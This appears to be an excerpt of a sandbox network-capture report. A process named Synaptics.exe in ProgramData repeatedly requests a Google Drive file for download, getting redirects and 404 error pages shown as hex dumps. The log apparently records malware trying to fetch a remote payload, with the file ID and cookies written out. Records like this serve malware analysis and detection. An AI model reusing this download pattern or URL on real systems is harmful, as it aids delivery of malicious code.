2025-01-02 19:20:43 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.8	49861	142.250.186.33	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:43 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:44 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7nR_If_9e4Xn7RaVasxHs6yI9voEjEBHU3EWKmBynULKfv8vwWkroWr7fDXAL57IAz5d2emQM Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:44 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-1-9ET1-dbOO1ytGSDq-cIA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:20:44 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:20:44 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 48 75 59 68 4e 4f 76 74 4c 74 6f 7a 68 4d 76 32 75 57 52 47 49 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="HuYhNOvtLtozhMv2uWRGIw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:20:44 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.8	49860	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:43 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:44 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:43 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-frLachmMo2_JbOflnOGFQw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.8	49863	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:44 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.8	49864	142.250.186.33	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:44 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.8	49869	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:45 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:45 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:45 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-vorIbOOrVk1eSg-T_AaJag' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.8	49870	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:45 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:45 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:45 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-tlGhyWXlpkevgPD1vusu6g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.8	49872	142.250.186.33	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:46 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:46 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4UklVN9SR5PwtsGrKEl6Jhcmlj5GpolyS4eCHo8jD3L09DzDEDdw9TWuxOYGtXJtdk_ckMo-s Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:46 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-tA9LDSWiPUJhgQC-ltUFdQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:20:46 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:20:46 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 47 56 4b 41 63 45 79 57 57 42 77 72 66 55 6f 58 67 30 47 5f 46 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="GVKAcEyWWBwrfUoXg0G_FA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:20:46 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.8	49871	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:46 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:46 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:46 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-PghcyfiBXnDwSwznd_FNMA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.8	49874	142.250.186.33	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:46 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:46 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7Ob07Nj7v7dgeoDj-2JVDXyY1u0rP0ja6I8Pz9d6XRk80B3L00CrWx4xdHH4AIM2eR Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:46 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-Lwwgl1IAEcc60zT2O9bRpg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:20:46 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:20:46 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 50 77 6f 77 70 67 4e 70 43 79 51 57 35 44 35 65 65 51 75 65 33 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="PwowpgNpCyQW5D5eeQue3w">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:20:46 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.8	49873	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:46 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:46 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:46 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-fOGWE7mtYf80jnxbCKG5kw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

